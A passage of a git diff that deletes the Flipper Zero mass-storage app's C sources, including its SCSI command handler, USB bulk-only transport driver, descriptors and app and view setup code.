scsi->asc = SCSI_ASC_INVALID_COMMAND_OPERATION_CODE; - return false; - }; break; - } -} - -bool scsi_cmd_tx_data(SCSISession* scsi, uint8_t* data, uint32_t* len, uint32_t cap) { - FURI_LOG_T(TAG, "TX %02X cap %lu", scsi->cmd[0], cap); - if(scsi->tx_done) return false; - switch(scsi->cmd[0]) { - case SCSI_REQUEST_SENSE: { - FURI_LOG_D(TAG, "SCSI_REQUEST_SENSE"); - if(cap < 18) return false; - memset(data, 0, cap); - data[0] = 0x70; // fixed format sense data - data[1] = 0; // obsolete - data[2] = scsi->sk; // sense key - data[3] = 0; // information - data[4] = 0; // information - data[5] = 0; // information - data[6] = 0; // information - data[7] = 10; // additional sense length (len-8) - data[8] = 0; // command specific information - data[9] = 0; // command specific information - data[10] = 0; // command specific information - data[11] = 0; // command specific information - data[12] = scsi->asc; // additional sense code - data[13] = 0; // additional sense code qualifier - data[14] = 0; // field replaceable unit code - data[15] = 0; // sense key specific information - data[16] = 0; // sense key specific information - data[17] = 0; // sense key specific information - *len = 18; - scsi->sk = 0; - scsi->asc = 0; - scsi->tx_done = true; - return true; - }; break; - case SCSI_INQUIRY: { - FURI_LOG_D(TAG, "SCSI_INQUIRY"); - if(scsi->cmd_len < 5) return false; - - if(cap < 36) return false; - - bool evpd = scsi->cmd[1] & 1; - uint8_t page_code = scsi->cmd[2]; - if(evpd == 0) { - if(page_code != 0) return false; - - data[0] = 0x00; // device type: direct access block device - data[1] = 0x80; // removable: true - data[2] = 0x04; // version - data[3] = 0x02; // response data format - data[4] = 31; // additional length (len - 5) - data[5] = 0; // flags - data[6] = 0; // flags - data[7] = 0; // flags - memcpy(data + 8, "Flipper ", 8); // vendor id - memcpy(data + 16, "Mass Storage ", 16); // product id - memcpy(data + 32, "0001", 4); // product revision level - *len = 36; - scsi->tx_done = true; - return true; - } else { - if(page_code != 0x80) { - FURI_LOG_W(TAG, "Unsupported VPD code %02X", page_code); - return false; - } - data[0] = 0x00; - data[1] = 0x80; - data[2] = 0x00; - data[3] = 0x01; // Serial len - data[4] = '0'; - *len = 5; - scsi->tx_done = true; - return true; - } - }; break; - case SCSI_READ_FORMAT_CAPACITIES: { - FURI_LOG_D(TAG, "SCSI_READ_FORMAT_CAPACITIES"); - if(cap < 12) { - return false; - } - uint32_t n_blocks = scsi->fn.num_blocks(scsi->fn.ctx); - uint32_t block_size = SCSI_BLOCK_SIZE; - // Capacity List Header - data[0] = 0; - data[1] = 0; - data[2] = 0; - data[3] = 8; - - // Capacity Descriptor - data[4] = (n_blocks - 1) >> 24; - data[5] = (n_blocks - 1) >> 16; - data[6] = (n_blocks - 1) >> 8; - data[7] = (n_blocks - 1) & 0xFF; - data[8] = 0x02; // Formatted media - data[9] = block_size >> 16; - data[10] = block_size >> 8; - data[11] = block_size & 0xFF; - *len = 12; - scsi->tx_done = true; - return true; - }; break; - case SCSI_READ_CAPACITY_10: { - FURI_LOG_D(TAG, "SCSI_READ_CAPACITY_10"); - if(cap < 8) return false; - uint32_t n_blocks = scsi->fn.num_blocks(scsi->fn.ctx); - uint32_t block_size = SCSI_BLOCK_SIZE; - data[0] = (n_blocks - 1) >> 24; - data[1] = (n_blocks - 1) >> 16; - data[2] = (n_blocks - 1) >> 8; - data[3] = (n_blocks - 1) & 0xFF; - data[4] = block_size >> 24; - data[5] = block_size >> 16; - data[6] = block_size >> 8; - data[7] = block_size & 0xFF; - *len = 8; - scsi->tx_done = true; - return true; - }; break; - case SCSI_MODE_SENSE_6: { - FURI_LOG_D(TAG, "SCSI_MODE_SENSE_6 %lu", cap); - if(cap < 4) return false; - data[0] = 3; // mode data length (len - 1) - data[1] = 0; // medium type - data[2] = 0; // device-specific parameter - data[3] = 0; // block descriptor length - *len = 4; - scsi->tx_done = true; - return true; - }; break; - case SCSI_READ_10: { - uint32_t block_size = SCSI_BLOCK_SIZE; - bool result = - scsi->fn.read(scsi->fn.ctx, scsi->read_10.lba, scsi->read_10.count, data, len, cap); - *len -= *len % block_size; - uint16_t blocks = *len / block_size; - scsi->read_10.lba += blocks; - scsi->read_10.count -= blocks; - if(!scsi->read_10.count) { - scsi->tx_done = true; - } - return result; - }; break; - default: { - FURI_LOG_W(TAG, "unexpected scsi tx data cmd=%02X", scsi->cmd[0]); - scsi->sk = SCSI_SK_ILLEGAL_REQUEST; - scsi->asc = SCSI_ASC_INVALID_COMMAND_OPERATION_CODE; - return false; - }; break; - } -} - -bool scsi_cmd_end(SCSISession* scsi) { - FURI_LOG_T(TAG, "END %02X", scsi->cmd[0]); - uint8_t* cmd = scsi->cmd; - uint8_t len = scsi->cmd_len; - scsi->cmd = NULL; - scsi->cmd_len = 0; - switch(cmd[0]) { - case SCSI_WRITE_10: - return scsi->rx_done; - - case SCSI_REQUEST_SENSE: - case SCSI_INQUIRY: - case SCSI_READ_FORMAT_CAPACITIES: - case SCSI_READ_CAPACITY_10: - case SCSI_MODE_SENSE_6: - case SCSI_READ_10: - return scsi->tx_done; - - case SCSI_TEST_UNIT_READY: { - FURI_LOG_D(TAG, "SCSI_TEST_UNIT_READY"); - return true; - }; break; - case SCSI_PREVENT_MEDIUM_REMOVAL: { - if(len < 6) return false; - bool prevent = cmd[5]; - FURI_LOG_D(TAG, "SCSI_PREVENT_MEDIUM_REMOVAL prevent=%d", prevent); - return !prevent; - }; break; - case SCSI_START_STOP_UNIT: { - if(len < 6) return false; - bool eject = (cmd[4] & 2) != 0; - bool start = (cmd[4] & 1) != 0; - FURI_LOG_D(TAG, "SCSI_START_STOP_UNIT eject=%d start=%d", eject, start); - if(eject) { - scsi->fn.eject(scsi->fn.ctx); - } - return true; - }; break; - default: { - FURI_LOG_W(TAG, "unexpected scsi cmd=%02X", cmd[0]); - scsi->sk = SCSI_SK_ILLEGAL_REQUEST; - scsi->asc = SCSI_ASC_INVALID_COMMAND_OPERATION_CODE; - return false; - }; break; - } -} diff --git a/applications/external/mass_storage/helpers/mass_storage_scsi.h b/applications/external/mass_storage/helpers/mass_storage_scsi.h deleted file mode 100644 index a35d6aff3..000000000 --- a/applications/external/mass_storage/helpers/mass_storage_scsi.h +++ /dev/null @@ -1,56 +0,0 @@ -#pragma once - -#include - -#define SCSI_BLOCK_SIZE (0x200UL) - -#define SCSI_SK_ILLEGAL_REQUEST (5) - -#define SCSI_ASC_INVALID_COMMAND_OPERATION_CODE (0x20) -#define SCSI_ASC_LBA_OOB (0x21) -#define SCSI_ASC_INVALID_FIELD_IN_CDB (0x24) - -typedef struct { - void* ctx; - bool (*read)( - void* ctx, - uint32_t lba, - uint16_t count, - uint8_t* out, - uint32_t* out_len, - uint32_t out_cap); - bool (*write)(void* ctx, uint32_t lba, uint16_t count, uint8_t* buf, uint32_t len); - uint32_t (*num_blocks)(void* ctx); - void (*eject)(void* ctx); -} SCSIDeviceFunc; - -typedef struct { - SCSIDeviceFunc fn; - - uint8_t* cmd; - uint8_t cmd_len; - bool rx_done; - bool tx_done; - - uint8_t sk; // sense key - uint8_t asc; // additional sense code - - // command-specific data - // valid from cmd_start to cmd_end - union { - struct { - uint16_t count; - uint32_t lba; - } read_10; // SCSI_READ_10 - - struct { - uint16_t count; - uint32_t lba; - } write_10; // SCSI_WRITE_10 - }; -} SCSISession; - -bool scsi_cmd_start(SCSISession* scsi, uint8_t* cmd, uint8_t len); -bool scsi_cmd_rx_data(SCSISession* scsi, uint8_t* data, uint32_t len); -bool scsi_cmd_tx_data(SCSISession* scsi, uint8_t* data, uint32_t* len, uint32_t cap); -bool scsi_cmd_end(SCSISession* scsi); \ No newline at end of file diff --git a/applications/external/mass_storage/helpers/mass_storage_usb.c b/applications/external/mass_storage/helpers/mass_storage_usb.c deleted file mode 100644 index f493203a6..000000000 --- a/applications/external/mass_storage/helpers/mass_storage_usb.c +++ /dev/null @@ -1,481 +0,0 @@ -#include "mass_storage_usb.h" -#include - -#define TAG "MassStorageUsb" - -#define USB_MSC_RX_EP (0x01) -#define USB_MSC_TX_EP (0x82) - -#define USB_MSC_RX_EP_SIZE (64UL) -#define USB_MSC_TX_EP_SIZE (64UL) - -#define USB_MSC_BOT_GET_MAX_LUN (0xFE) -#define USB_MSC_BOT_RESET (0xFF) - -#define CBW_SIG (0x43425355) -#define CBW_FLAGS_DEVICE_TO_HOST (0x80) - -#define CSW_SIG (0x53425355) -#define CSW_STATUS_OK (0) -#define CSW_STATUS_NOK (1) -#define CSW_STATUS_PHASE_ERROR (2) - -// must be SCSI_BLOCK_SIZE aligned -// larger than 0x10000 exceeds size_t, storage_file_* ops fail -#define USB_MSC_BUF_MAX (0x10000UL - SCSI_BLOCK_SIZE) - -static usbd_respond usb_ep_config(usbd_device* dev, uint8_t cfg); -static usbd_respond usb_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback); - -typedef enum { - EventExit = 1 << 0, - EventReset = 1 << 1, - EventRxTx = 1 << 2, - - EventAll = EventExit | EventReset | EventRxTx, -} MassStorageEvent; - -typedef struct { - uint32_t sig; - uint32_t tag; - uint32_t len; - uint8_t flags; - uint8_t lun; - uint8_t cmd_len; - uint8_t cmd[16]; -} __attribute__((packed)) CBW; - -typedef struct { - uint32_t sig; - uint32_t tag; - uint32_t residue; - uint8_t status; -} __attribute__((packed)) CSW; - -struct MassStorageUsb { - FuriHalUsbInterface usb; - FuriHalUsbInterface* usb_prev; - - FuriThread* thread; - usbd_device* dev; - SCSIDeviceFunc fn; -}; - -static int32_t mass_thread_worker(void* context) { - MassStorageUsb* mass = context; - usbd_device* dev = mass->dev; - SCSISession scsi = { - .fn = mass->fn, - }; - CBW cbw = {0}; - CSW csw = {0}; - uint8_t* buf = NULL; - uint32_t buf_len = 0, buf_cap = 0, buf_sent = 0; - enum { - StateReadCBW, - StateReadData, - StateWriteData, - StateBuildCSW, - StateWriteCSW, - } state = StateReadCBW; - while(true) { - uint32_t flags = furi_thread_flags_wait(EventAll, FuriFlagWaitAny, FuriWaitForever); - if(flags & EventExit) { - FURI_LOG_D(TAG, "exit"); - break; - } - if(flags & EventReset) { - FURI_LOG_D(TAG, "reset"); - scsi.sk = 0; - scsi.asc = 0; - memset(&cbw, 0, sizeof(cbw)); - memset(&csw, 0, sizeof(csw)); - if(buf) { - free(buf); - buf = NULL; - } - buf_len = buf_cap = buf_sent = 0; - state = StateReadCBW; - } - if(flags & EventRxTx) do { - switch(state) { - case StateReadCBW: { - FURI_LOG_T(TAG, "StateReadCBW"); - int32_t len = usbd_ep_read(dev, USB_MSC_RX_EP, &cbw, sizeof(cbw)); - if(len <= 0) { - FURI_LOG_T(TAG, "cbw not ready"); - break; - } - if(len != sizeof(cbw) || cbw.sig != CBW_SIG) { - FURI_LOG_W(TAG, "bad cbw sig=%08lx", cbw.sig); - usbd_ep_stall(dev, USB_MSC_TX_EP); - usbd_ep_stall(dev, USB_MSC_RX_EP); - continue; - } - if(!scsi_cmd_start(&scsi, cbw.cmd, cbw.cmd_len)) { - FURI_LOG_W(TAG, "bad cmd"); - usbd_ep_stall(dev, USB_MSC_RX_EP); - csw.sig = CSW_SIG; - csw.tag = cbw.tag; - csw.status = CSW_STATUS_NOK; - state = StateWriteCSW; - continue; - } - if(cbw.flags & CBW_FLAGS_DEVICE_TO_HOST) { - buf_len = 0; - buf_sent = 0; - state = StateWriteData; - } else { - buf_len = 0; - state = StateReadData; - } - continue; - }; break; - case StateReadData: { - FURI_LOG_T(TAG, "StateReadData %lu/%lu", buf_len, cbw.len); - if(!cbw.len) { - state = StateBuildCSW; - continue; - } - uint32_t buf_clamp = MIN(cbw.len, USB_MSC_BUF_MAX); - if(buf_clamp > buf_cap) { - FURI_LOG_T(TAG, "growing buf %lu -> %lu", buf_cap, buf_clamp); - if(buf) { - free(buf); - } - buf_cap = buf_clamp; - buf = malloc(buf_cap); - } - if(buf_len < buf_clamp) { - int32_t len = - usbd_ep_read(dev, USB_MSC_RX_EP, buf + buf_len, buf_clamp - buf_len); - if(len < 0) { - FURI_LOG_T(TAG, "rx not ready %ld", len); - break; - } - FURI_LOG_T(TAG, "clamp %lu len %ld", buf_clamp, len); - buf_len += len; - } - if(buf_len == buf_clamp) { - if(!scsi_cmd_rx_data(&scsi, buf, buf_len)) { - FURI_LOG_W(TAG, "short rx"); - usbd_ep_stall(dev, USB_MSC_RX_EP); - csw.sig = CSW_SIG; - csw.tag = cbw.tag; - csw.status = CSW_STATUS_NOK; - csw.residue = cbw.len; - state = StateWriteCSW; - continue; - } - cbw.len -= buf_len; - buf_len = 0; - } - continue; - }; break; - case StateWriteData: { - FURI_LOG_T(TAG, "StateWriteData %lu", cbw.len); - if(!cbw.len) { - state = StateBuildCSW; - continue; - } - uint32_t buf_clamp = MIN(cbw.len, USB_MSC_BUF_MAX); - if(buf_clamp > buf_cap) { - FURI_LOG_T(TAG, "growing buf %lu -> %lu", buf_cap, buf_clamp); - if(buf) { - free(buf); - } - buf_cap = buf_clamp; - buf = malloc(buf_cap); - } - if(!buf_len && !scsi_cmd_tx_data(&scsi, buf, &buf_len, buf_clamp)) { - FURI_LOG_W(TAG, "short tx"); - // usbd_ep_stall(dev, USB_MSC_TX_EP); - state = StateBuildCSW; - continue; - } - int32_t len = usbd_ep_write( - dev, - USB_MSC_TX_EP, - buf + buf_sent, - MIN(USB_MSC_TX_EP_SIZE, buf_len - buf_sent)); - if(len < 0) { - FURI_LOG_T(TAG, "tx not ready %ld", len); - break; - } - buf_sent += len; - if(buf_sent == buf_len) { - cbw.len -= buf_len; - buf_len = 0; - buf_sent = 0; - } - continue; - }; break; - case StateBuildCSW: { - FURI_LOG_T(TAG, "StateBuildCSW"); - csw.sig = CSW_SIG; - csw.tag = cbw.tag; - if(scsi_cmd_end(&scsi)) { - csw.status = CSW_STATUS_OK; - } else { - csw.status = CSW_STATUS_NOK; - } - csw.residue = cbw.len; - state = StateWriteCSW; - continue; - }; break; - case StateWriteCSW: { - FURI_LOG_T(TAG, "StateWriteCSW"); - if(csw.status) { - FURI_LOG_W( - TAG, - "csw sig=%08lx tag=%08lx residue=%08lx status=%02x", - csw.sig, - csw.tag, - csw.residue, - csw.status); - } - int32_t len = usbd_ep_write(dev, USB_MSC_TX_EP, &csw, sizeof(csw)); - if(len < 0) { - FURI_LOG_T(TAG, "csw not ready"); - break; - } - if(len != sizeof(csw)) { - FURI_LOG_W(TAG, "bad csw write %ld", len); - usbd_ep_stall(dev, USB_MSC_TX_EP); - break; - } - memset(&cbw, 0, sizeof(cbw)); - memset(&csw, 0, sizeof(csw)); - state = StateReadCBW; - continue; - }; break; - } - break; - } while(true); - } - if(buf) { - free(buf); - } - return 0; -} - -// needed in usb_deinit, usb_suspend, usb_rxtx_ep_callback, usb_control, -// where if_ctx isn't passed -static MassStorageUsb* mass_cur = NULL; - -static void usb_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx) { - UNUSED(intf); - MassStorageUsb* mass = ctx; - mass_cur = mass; - mass->dev = dev; - - usbd_reg_config(dev, usb_ep_config); - usbd_reg_control(dev, usb_control); - usbd_connect(dev, true); - - mass->thread = furi_thread_alloc(); - furi_thread_set_name(mass->thread, "MassStorageUsb"); - furi_thread_set_stack_size(mass->thread, 1024); - furi_thread_set_context(mass->thread, ctx); - furi_thread_set_callback(mass->thread, mass_thread_worker); - furi_thread_start(mass->thread); -} - -static void usb_deinit(usbd_device* dev) { - usbd_reg_config(dev, NULL); - usbd_reg_control(dev, NULL); - - MassStorageUsb* mass = mass_cur; - if(!mass || mass->dev != dev) { - FURI_LOG_E(TAG, "deinit mass_cur leak"); - return; - } - mass_cur = NULL; - - furi_assert(mass->thread); - furi_thread_flags_set(furi_thread_get_id(mass->thread), EventExit); - furi_thread_join(mass->thread); - furi_thread_free(mass->thread); - mass->thread = NULL; - - free(mass->usb.str_prod_descr); - mass->usb.str_prod_descr = NULL; - free(mass->usb.str_serial_descr); - mass->usb.str_serial_descr = NULL; - free(mass); -} - -static void usb_wakeup(usbd_device* dev) { - UNUSED(dev); -} - -static void usb_suspend(usbd_device* dev) { - MassStorageUsb* mass = mass_cur; - if(!mass || mass->dev != dev) return; - furi_thread_flags_set(furi_thread_get_id(mass->thread), EventReset); -} - -static void usb_rxtx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(ep); - UNUSED(event); - MassStorageUsb* mass = mass_cur; - if(!mass || mass->dev != dev) return; - furi_thread_flags_set(furi_thread_get_id(mass->thread), EventRxTx); -} - -static usbd_respond usb_ep_config(usbd_device* dev, uint8_t cfg) { - switch(cfg) { - case 0: // deconfig - usbd_ep_deconfig(dev, USB_MSC_RX_EP); - usbd_ep_deconfig(dev, USB_MSC_TX_EP); - usbd_reg_endpoint(dev, USB_MSC_RX_EP, NULL); - usbd_reg_endpoint(dev, USB_MSC_TX_EP, NULL); - return usbd_ack; - case 1: // config - usbd_ep_config( - dev, USB_MSC_RX_EP, USB_EPTYPE_BULK /* | USB_EPTYPE_DBLBUF*/, USB_MSC_RX_EP_SIZE); - usbd_ep_config( - dev, USB_MSC_TX_EP, USB_EPTYPE_BULK /* | USB_EPTYPE_DBLBUF*/, USB_MSC_TX_EP_SIZE); - usbd_reg_endpoint(dev, USB_MSC_RX_EP, usb_rxtx_ep_callback); - usbd_reg_endpoint(dev, USB_MSC_TX_EP, usb_rxtx_ep_callback); - return usbd_ack; - } - return usbd_fail; -} - -static usbd_respond usb_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback) { - UNUSED(callback); - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) != - (USB_REQ_INTERFACE | USB_REQ_CLASS)) { - return usbd_fail; - } - switch(req->bRequest) { - case USB_MSC_BOT_GET_MAX_LUN: { - static uint8_t max_lun = 0; - dev->status.data_ptr = &max_lun; - dev->status.data_count = 1; - return usbd_ack; - }; break; - case USB_MSC_BOT_RESET: { - MassStorageUsb* mass = mass_cur; - if(!mass || mass->dev != dev) return usbd_fail; - furi_thread_flags_set(furi_thread_get_id(mass->thread), EventReset); - return usbd_ack; - }; break; - } - return usbd_fail; -} - -static const struct usb_string_descriptor dev_manuf_desc = USB_STRING_DESC("Flipper Devices Inc."); - -struct MassStorageDescriptor { - struct usb_config_descriptor config; - struct usb_interface_descriptor intf; - struct usb_endpoint_descriptor ep_rx; - struct usb_endpoint_descriptor ep_tx; -} __attribute__((packed)); - -static const struct usb_device_descriptor usb_mass_dev_descr = { - .bLength = sizeof(struct usb_device_descriptor), - .bDescriptorType = USB_DTYPE_DEVICE, - .bcdUSB = VERSION_BCD(2, 0, 0), - .bDeviceClass = USB_CLASS_PER_INTERFACE, - .bDeviceSubClass = USB_SUBCLASS_NONE, - .bDeviceProtocol = USB_PROTO_NONE, - .bMaxPacketSize0 = 8, // USB_EP0_SIZE - .idVendor = 0x0483, - .idProduct = 0x5720, - .bcdDevice = VERSION_BCD(1, 0, 0), - .iManufacturer = 1, // UsbDevManuf - .iProduct = 2, // UsbDevProduct - .iSerialNumber = 3, // UsbDevSerial - .bNumConfigurations = 1, -}; - -static const struct MassStorageDescriptor usb_mass_cfg_descr = { - .config = - { - .bLength = sizeof(struct usb_config_descriptor), - .bDescriptorType = USB_DTYPE_CONFIGURATION, - .wTotalLength = sizeof(struct MassStorageDescriptor), - .bNumInterfaces = 1, - .bConfigurationValue = 1, - .iConfiguration = NO_DESCRIPTOR, - .bmAttributes = USB_CFG_ATTR_RESERVED | USB_CFG_ATTR_SELFPOWERED, - .bMaxPower = USB_CFG_POWER_MA(100), - }, - .intf = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = 0, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_MASS_STORAGE, - .bInterfaceSubClass = 0x06, // scsi transparent - .bInterfaceProtocol = 0x50, // bulk only - .iInterface = NO_DESCRIPTOR, - }, - .ep_rx = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = USB_MSC_RX_EP, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = USB_MSC_RX_EP_SIZE, - .bInterval = 0, - }, - .ep_tx = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = USB_MSC_TX_EP, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = USB_MSC_TX_EP_SIZE, - .bInterval = 0, - }, -}; - -MassStorageUsb* mass_storage_usb_start(const char* filename, SCSIDeviceFunc fn) { - MassStorageUsb* mass = malloc(sizeof(MassStorageUsb)); - mass->usb_prev = furi_hal_usb_get_config(); - mass->usb.init = usb_init; - mass->usb.deinit = usb_deinit; - mass->usb.wakeup = usb_wakeup; - mass->usb.suspend = usb_suspend; - mass->usb.dev_descr = (struct usb_device_descriptor*)&usb_mass_dev_descr; - mass->usb.str_manuf_descr = (void*)&dev_manuf_desc; - mass->usb.str_prod_descr = NULL; - mass->usb.str_serial_descr = NULL; - mass->usb.cfg_descr = (void*)&usb_mass_cfg_descr; - - const char* name = furi_hal_version_get_device_name_ptr(); - if(!name) name = "Flipper Zero"; - size_t len = strlen(name); - struct usb_string_descriptor* str_prod_descr = malloc(len * 2 + 2); - str_prod_descr->bLength = len * 2 + 2; - str_prod_descr->bDescriptorType = USB_DTYPE_STRING; - for(uint8_t i = 0; i < len; i++) str_prod_descr->wString[i] = name[i]; - mass->usb.str_prod_descr = str_prod_descr; - - len = strlen(filename); - struct usb_string_descriptor* str_serial_descr = malloc(len * 2 + 2); - str_serial_descr->bLength = len * 2 + 2; - str_serial_descr->bDescriptorType = USB_DTYPE_STRING; - for(uint8_t i = 0; i < len; i++) str_serial_descr->wString[i] = filename[i]; - mass->usb.str_serial_descr = str_serial_descr; - - mass->fn = fn; - if(!furi_hal_usb_set_config(&mass->usb, mass)) { - FURI_LOG_E(TAG, "USB locked, cannot start Mass Storage"); - free(mass->usb.str_prod_descr); - free(mass->usb.str_serial_descr); - free(mass); - return NULL; - } - return mass; -} - -void mass_storage_usb_stop(MassStorageUsb* mass) { - furi_hal_usb_set_config(mass->usb_prev, NULL); -} diff --git a/applications/external/mass_storage/helpers/mass_storage_usb.h b/applications/external/mass_storage/helpers/mass_storage_usb.h deleted file mode 100644 index 0f370f98e..000000000 --- a/applications/external/mass_storage/helpers/mass_storage_usb.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -#include -#include "mass_storage_scsi.h" - -typedef struct MassStorageUsb MassStorageUsb; - -MassStorageUsb* mass_storage_usb_start(const char* filename, SCSIDeviceFunc fn); -void mass_storage_usb_stop(MassStorageUsb* mass); diff --git a/applications/external/mass_storage/mass_storage_app.c b/applications/external/mass_storage/mass_storage_app.c deleted file mode 100644 index ccb3369d9..000000000 --- a/applications/external/mass_storage/mass_storage_app.c +++ /dev/null @@ -1,161 +0,0 @@ -#include "mass_storage_app_i.h" -#include -#include -#include - -static bool mass_storage_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - MassStorageApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool mass_storage_app_back_event_callback(void* context) { - furi_assert(context); - MassStorageApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void mass_storage_app_tick_event_callback(void* context) { - furi_assert(context); - MassStorageApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -void mass_storage_app_show_loading_popup(MassStorageApp* app, bool show) { - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -MassStorageApp* mass_storage_app_alloc(char* arg) { - MassStorageApp* app = malloc(sizeof(MassStorageApp)); - app->file_path = furi_string_alloc(); - - if(arg != NULL) { - furi_string_set_str(app->file_path, arg); - } else { - furi_string_set_str(app->file_path, MASS_STORAGE_APP_PATH_FOLDER); - } - - app->gui = furi_record_open(RECORD_GUI); - app->fs_api = furi_record_open(RECORD_STORAGE); - app->dialogs = furi_record_open(RECORD_DIALOGS); - - app->create_image_size = (uint8_t)-1; - SDInfo sd_info; - if(storage_sd_info(app->fs_api, &sd_info) == FSE_OK) { - switch(sd_info.fs_type) { - case FST_FAT12: - app->create_image_max = 16LL * 1024 * 1024; - break; - case FST_FAT16: - app->create_image_max = 2LL * 1024 * 1024 * 1024; - break; - case FST_FAT32: - app->create_image_max = 4LL * 1024 * 1024 * 1024; - break; - default: - app->create_image_max = 0; - break; - } - } - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&mass_storage_scene_handlers, app); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, mass_storage_app_tick_event_callback, 500); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, mass_storage_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, mass_storage_app_back_event_callback); - - app->mass_storage_view = mass_storage_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - MassStorageAppViewWork, - mass_storage_get_view(app->mass_storage_view)); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - MassStorageAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, MassStorageAppViewSubmenu, submenu_get_view(app->submenu)); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, MassStorageAppViewTextInput, text_input_get_view(app->text_input)); - - app->popup = popup_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, MassStorageAppViewPopup, popup_get_view(app->popup)); - - app->loading = loading_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, MassStorageAppViewLoading, loading_get_view(app->loading)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_set_scene_state( - app->scene_manager, MassStorageSceneStart, MassStorageSceneFileSelect); - if(storage_file_exists(app->fs_api, furi_string_get_cstr(app->file_path))) { - scene_manager_next_scene(app->scene_manager, MassStorageSceneWork); - } else { - scene_manager_next_scene(app->scene_manager, MassStorageSceneStart); - } - - return app; -} - -void mass_storage_app_free(MassStorageApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewWork); - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewSubmenu); - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewTextInput); - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewPopup); - view_dispatcher_remove_view(app->view_dispatcher, MassStorageAppViewLoading); - - mass_storage_free(app->mass_storage_view); - variable_item_list_free(app->var_item_list); - submenu_free(app->submenu); - text_input_free(app->text_input); - popup_free(app->popup); - loading_free(app->loading); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - furi_string_free(app->file_path); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - - free(app); -} - -int32_t mass_storage_app(void* p) { - MassStorageApp* mass_storage_app = mass_storage_app_alloc((char*)p); - view_dispatcher_run(mass_storage_app->view_dispatcher); - mass_storage_app_free(mass_storage_app); - return 0; -} diff --git a/applications/external/mass_storage/mass_storage_app.h b/applications/external/mass_storage/mass_storage_app.h deleted file mode 100644 index 820ad2b6c..000000000 --- a/applications/external/mass_storage/mass_storage_app.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct MassStorageApp MassStorageApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/mass_storage/mass_storage_app_i.h b/applications/external/mass_storage/mass_storage_app_i.h deleted file mode 100644 index fe8a2d944..000000000 --- a/applications/external/mass_storage/mass_storage_app_i.h +++ /dev/null @@ -1,68 +0,0 @@ -#pragma once - -#include "mass_storage_app.h" -#include "scenes/mass_storage_scene.h" -#include "helpers/mass_storage_usb.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "views/mass_storage_view.h" -#include -#include - -#define MASS_STORAGE_APP_PATH_FOLDER STORAGE_APP_DATA_PATH_PREFIX -#define MASS_STORAGE_APP_EXTENSION ".img" -#define MASS_STORAGE_FILE_NAME_LEN 40 - -struct MassStorageApp { - Gui* gui; - Storage* fs_api; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - DialogsApp* dialogs; - VariableItemList* var_item_list; - Submenu* submenu; - TextInput* text_input; - Popup* popup; - Loading* loading; - - FuriString* file_path; - File* file; - MassStorage* mass_storage_view; - - FuriMutex* usb_mutex; - MassStorageUsb* usb; - - uint64_t create_image_max; - uint8_t create_image_size; - char create_image_name[MASS_STORAGE_FILE_NAME_LEN]; - - uint32_t bytes_read, bytes_written; -}; - -typedef enum { - MassStorageAppViewVarItemList, - MassStorageAppViewSubmenu, - MassStorageAppViewTextInput, - MassStorageAppViewPopup, - MassStorageAppViewLoading, - MassStorageAppViewWork, -} MassStorageAppView; - -enum MassStorageCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - MassStorageCustomEventReserved = 100, - - MassStorageCustomEventEject, -}; - -void mass_storage_app_show_loading_popup(MassStorageApp* app, bool show); diff --git 